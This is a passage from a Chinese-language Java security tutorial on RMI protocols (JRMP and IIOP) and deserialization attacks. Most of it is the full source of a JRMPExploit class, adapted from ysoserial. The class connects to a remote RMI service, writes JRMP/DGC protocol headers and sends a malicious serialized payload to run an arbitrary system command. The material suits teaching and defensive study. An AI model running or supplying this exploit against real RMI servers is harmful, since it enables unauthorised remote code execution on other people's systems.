RMP接口的两种常见实现方式:
JRMP协议(Java Remote Message Protocol),RMI专用的Java远程消息交换协议。IIOP协议(Internet Inter-ORB Protocol),基于CORBA实现的对象请求代理协议。
由于RMI数据通信大量的使用了Java的对象反序列化,所以在使用RMI客户端去攻击RMI服务端时需要特别小心,如果本地RMI客户端刚好符合反序列化攻击的利用条件,那么RMI服务端返回一个恶意的反序列化攻击包可能会导致我们被反向攻击。
我们可以通过和RMI服务端建立Socket连接并使用RMI的JRMP协议发送恶意的序列化包,RMI服务端在处理JRMP消息时会反序列化消息对象,从而实现RCE。
JRMP客户端反序列化攻击示例代码:
package com.anbai.sec.rmi;import sun.rmi.server.MarshalOutputStream;import sun.rmi.transport.TransportConstants;import java.io.DataOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.io.OutputStream;import java.net.Socket;import static com.anbai.sec.rmi.RMIServerTest.RMI_HOST;import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;/*** 利用RMI的JRMP协议发送恶意的序列化包攻击示例,该示例采用Socket协议发送序列化数据,不会反序列化RMI服务器端的数据,* 所以不用担心本地被RMI服务端通过构建恶意数据包攻击,示例程序修改自ysoserial的JRMPClient:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPClient.java*/public class JRMPExploit {public static void main(String[] args) throws IOException {if (args.length == 0) {// 如果不指定连接参数默认连接本地RMI服务args = new String[]{RMI_HOST, String.valueOf(RMI_PORT), "open -a Calculator.app"};}// 远程RMI服务IPfinal String host = args[0];// 远程RMI服务端口final int port = Integer.parseInt(args[1]);// 需要执行的系统命令final String command = args[2];// Socket连接对象Socket socket = null;// Socket输出流OutputStream out = null;try {// 创建恶意的Payload对象Object payloadObject = RMIExploit.genPayload(command);// 建立和远程RMI服务的Socket连接socket = new Socket(host, port);socket.setKeepAlive(true);socket.setTcpNoDelay(true);// 获取Socket的输出流对象out = socket.getOutputStream();// 将Socket的输出流转换成DataOutputStream对象DataOutputStream dos = new DataOutputStream(out);// 创建MarshalOutputStream对象ObjectOutputStream baos = new MarshalOutputStream(dos);// 向远程RMI服务端Socket写入RMI协议并通过JRMP传输Payload序列化对象dos.writeInt(TransportConstants.Magic);// 魔数dos.writeShort(TransportConstants.Version);// 版本dos.writeByte(TransportConstants.SingleOpProtocol);// 协议类型dos.write(TransportConstants.Call);// RMI调用指令baos.writeLong(2); // DGCbaos.writeInt(0);baos.writeLong(0);baos.writeShort(0);baos.writeInt(1); // dirtybaos.writeLong(-669196253586618813L);// 接口Hash值// 写入恶意的序列化对象baos.writeObject(payloadObject);dos.flush();} catch (Exception e) {e.printStackTrace();} finally {// 关闭Socket输出流if (out != null) {out.close();}// 关闭Socket连接if (socket != null) {socket.close();}}}}
测试流程同上面的RMIExploit,这里不再赘述。
